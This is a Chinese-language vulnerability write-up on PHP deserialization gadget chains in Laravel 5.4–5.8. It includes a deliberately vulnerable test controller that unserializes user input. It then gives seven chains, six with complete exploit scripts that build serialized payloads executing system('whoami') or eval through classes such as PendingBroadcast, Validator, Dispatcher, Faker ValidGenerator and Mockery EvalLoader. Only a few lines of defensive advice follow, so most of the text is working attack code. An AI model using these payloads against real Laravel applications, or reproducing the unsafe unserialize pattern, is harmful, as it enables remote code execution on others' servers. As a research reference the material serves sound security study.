laravel5.4反序列化
字数 2116 2025-08-06 18:07:47
Laravel 5.4-5.8 反序列化漏洞分析与利用
环境搭建
composer create-project --prefer-dist laravel/laravel laravel5.4 "5.4.*"
添加路由(routes/web.php):
Route::get('/index', "testController@test");
添加控制器(Http/Controllers/testController.php):
<?php
namespace App\Http\Controllers;
use Illuminate\Http\Request;
class testController {
public function test(Request $request) {
$payload = $request->input("cmd");
unserialize(base64_decode($payload));
return 'hello binbin';
}
}
漏洞原理
Laravel 5.4-5.8 版本中存在多个反序列化漏洞,攻击者可以通过精心构造的序列化数据实现远程代码执行(RCE)。这些漏洞主要利用PHP的反序列化机制和Laravel框架中的魔术方法(__destruct, __call等)以及回调函数(call_user_func, call_user_func_array等)来实现代码执行。
漏洞利用链分析
链子1: 通过ChannelManager实现RCE
利用链:
PendingBroadcast::__destruct() ->
ChannelManager::__call() ->
ChannelManager::driver() ->
ChannelManager::createDriver() ->
ChannelManager::callCustomCreator() ->
RCE
关键点:
- 入口点:
PendingBroadcast::__destruct()调用$this->events->dispatch($this->event) - 当
$this->events是ChannelManager实例时,会触发__call方法 ChannelManager::__call()调用driver()方法driver()方法最终调用callCustomCreator(),其中存在危险的回调:return $this->customCreators[$driver]($this->app);
EXP:
<?php
namespace Illuminate\Broadcasting {
class PendingBroadcast {
protected $events;
protected $event;
public function __construct($events, $event) {
$this->event = $event;
$this->events = $events;
}
}
}
namespace Illuminate\Notifications {
class ChannelManager {
protected $defaultChannel;
protected $customCreators;
protected $app;
public function __construct($defaultChannel, $customCreators, $app) {
$this->defaultChannel = $defaultChannel;
$this->customCreators = $customCreators;
$this->app = $app;
}
}
}
namespace {
use Illuminate\Broadcasting\PendingBroadcast;
use Illuminate\Notifications\ChannelManager;
$channelManager = new ChannelManager('binbin', array('binbin' => 'system'), 'whoami');
$pendingBroadcast = new PendingBroadcast($channelManager, 'binbin');
echo urlencode(base64_encode(serialize($pendingBroadcast)));
}
链子2: 通过Generator实现RCE(受__wakeup限制)
利用链:
PendingBroadcast::__destruct() ->
Generator::__call() ->
Generator::format() ->
call_user_func_array()
关键点:
- 入口点同上
- 当
$this->events是Generator实例时,触发__call方法 Generator::__call()调用format()方法format()方法调用call_user_func_array($this->getFormatter($formatter), $arguments)- 问题:
Generator类有__wakeup()方法会清空$this->formatters
链子3: 通过Validator实现RCE
利用链:
PendingBroadcast::__destruct() ->
Validator::__call() ->
Validator::callExtension() ->
call_user_func_array()
关键点:
- 入口点同上
- 当
$this->events是Validator实例时,触发__call方法 Validator::__call()中$rule为空字符串(因为substr('dispatch', 8)为空)- 最终调用
call_user_func_array($this->extensions[''], $parameters)
EXP:
<?php
namespace Illuminate\Broadcasting {
class PendingBroadcast {
protected $events;
protected $event;
public function __construct($events, $event) {
$this->event = $event;
$this->events = $events;
}
}
}
namespace Illuminate\Validation {
class Validator {
public $extensions;
public function __construct($extensions) {
$this->extensions = $extensions;
}
}
}
namespace {
use Illuminate\Broadcasting\PendingBroadcast;
use Illuminate\Validation\Validator;
$validator = new Validator(array('' => 'system'));
$pendingBroadcast = new PendingBroadcast($validator, 'whoami');
echo urlencode(base64_encode(serialize($pendingBroadcast)));
}
链子4: 通过Dispatcher实现RCE
利用链:
PendingBroadcast::__destruct() ->
Dispatcher::dispatch() ->
$listener($event, $payload)
关键点:
- 入口点同上
- 当
$this->events是Dispatcher实例时,调用dispatch()方法 dispatch()方法中会遍历$this->listeners[$event]并执行:$response = $listener($event, $payload);
EXP:
<?php
namespace Illuminate\Broadcasting {
class PendingBroadcast {
protected $events;
protected $event;
public function __construct($events, $event) {
$this->event = $event;
$this->events = $events;
}
}
}
namespace Illuminate\Events {
class Dispatcher {
protected $listeners;
public function __construct($listeners) {
$this->listeners = $listeners;
}
}
}
namespace {
use Illuminate\Broadcasting\PendingBroadcast;
use Illuminate\Events\Dispatcher;
$event = 'whoami';
$dispatcher = new Dispatcher(array($event => ['system']));
$pendingBroadcast = new PendingBroadcast($dispatcher, $event);
echo urlencode(base64_encode(serialize($pendingBroadcast)));
}
链子5: 通过Bus Dispatcher实现RCE
利用链:
PendingBroadcast::__destruct() ->
Dispatcher::dispatch() ->
Dispatcher::dispatchToQueue() ->
call_user_func($this->queueResolver, $connection)
关键点:
- 入口点同上
- 当
$this->events是Bus\Dispatcher实例时,调用dispatch()方法 $command需要实现ShouldQueue接口- 最终调用
call_user_func($this->queueResolver, $connection)
EXP:
<?php
namespace Illuminate\Broadcasting {
class PendingBroadcast {
protected $events;
protected $event;
public function __construct($events, $event) {
$this->event = $event;
$this->events = $events;
}
}
}
namespace Illuminate\Bus {
class Dispatcher {
protected $queueResolver;
public function __construct($queueResolver) {
$this->queueResolver = $queueResolver;
}
}
}
namespace Illuminate\Foundation\Console {
class QueuedCommand {
public $connection;
public function __construct($connection) {
$this->connection = $connection;
}
}
}
namespace {
use Illuminate\Broadcasting\PendingBroadcast;
use Illuminate\Bus\Dispatcher;
use Illuminate\Foundation\Console\QueuedCommand;
$event = 'whoami';
$queuedCommand = new QueuedCommand($event);
$dispatcher = new Dispatcher('system');
$pendingBroadcast = new PendingBroadcast($dispatcher, $queuedCommand);
echo urlencode(base64_encode(serialize($pendingBroadcast)));
}
链子6: 通过ValidGenerator实现RCE
利用链:
PendingBroadcast::__destruct() ->
ValidGenerator::__call() ->
call_user_func_array(array($this->generator, $name), $arguments) ->
DefaultGenerator::__call() ->
返回$this->default
关键点:
- 入口点同上
- 当
$this->events是ValidGenerator实例时,触发__call方法 ValidGenerator::__call()调用call_user_func_array(array($this->generator, $name), $arguments)$this->generator是DefaultGenerator实例,其__call方法返回$this->default- 最终调用
call_user_func($this->validator, $res)
EXP:
<?php
namespace Illuminate\Broadcasting {
class PendingBroadcast {
protected $events;
protected $event;
public function __construct($events, $event) {
$this->event = $event;
$this->events = $events;
}
}
}
namespace Faker {
class DefaultGenerator {
protected $default;
public function __construct($default) {
$this->default = $default;
}
}
class ValidGenerator {
protected $generator;
protected $validator;
protected $maxRetries;
public function __construct($generator, $validator, $maxRetries) {
$this->generator = $generator;
$this->validator = $validator;
$this->maxRetries = $maxRetries;
}
}
}
namespace {
use Faker\DefaultGenerator;
use Faker\ValidGenerator;
use Illuminate\Broadcasting\PendingBroadcast;
$defaultGenerator = new DefaultGenerator('whoami');
$validGenerator = new ValidGenerator($defaultGenerator, 'system', 1);
$pendingBroadcast = new PendingBroadcast($validGenerator, 'whoami');
echo urlencode(base64_encode(serialize($pendingBroadcast)));
}
链子7: 通过Mockery EvalLoader实现RCE
利用链:
PendingBroadcast::__destruct() ->
Dispatcher::dispatch() ->
Dispatcher::dispatchToQueue() ->
call_user_func([EvalLoader, 'load'], $connection) ->
EvalLoader::load() ->
eval()
关键点:
- 入口点同上
- 使用
EvalLoader的load方法,其中包含eval函数 - 通过控制
MockDefinition的code属性实现代码执行
EXP:
<?php
namespace Illuminate\Broadcasting {
use Illuminate\Bus\Dispatcher;
use Illuminate\Foundation\Console\QueuedCommand;
class PendingBroadcast {
protected $events;
protected $event;
public function __construct() {
$this->events = new Dispatcher();
$this->event = new QueuedCommand();
}
}
}
namespace Illuminate\Foundation\Console {
use Mockery\Generator\MockDefinition;
class QueuedCommand {
public $connection;
public function __construct() {
$this->connection = new MockDefinition();
}
}
}
namespace Mockery\Generator {
class MockDefinition {
protected $config;
protected $code;
public function __construct() {
$this->code = "<?php echo system('whoami'); exit(); ?>";
$this->config = new MockConfiguration();
}
}
class MockConfiguration {}
}
namespace Illuminate\Bus {
use Mockery\Loader\EvalLoader;
class Dispatcher {
protected $queueResolver;
public function __construct() {
$this->queueResolver = [new EvalLoader(), 'load'];
}
}
}
namespace Mockery\Loader {
class EvalLoader {}
}
namespace {
use Illuminate\Broadcasting\PendingBroadcast;
echo urlencode(serialize(new PendingBroadcast()));
}
防御措施
- 升级到最新版本的Laravel框架
- 避免反序列化用户可控的数据
- 使用白名单机制限制可反序列化的类
- 实现
__wakeup()或__destruct()方法时进行安全检查
总结
Laravel 5.4-5.8版本中存在多个反序列化漏洞利用链,主要利用点是PendingBroadcast类的__destruct方法和各种回调函数。攻击者可以通过精心构造的序列化数据实现远程代码执行。开发者应及时升级框架版本,并避免反序列化不可信的数据。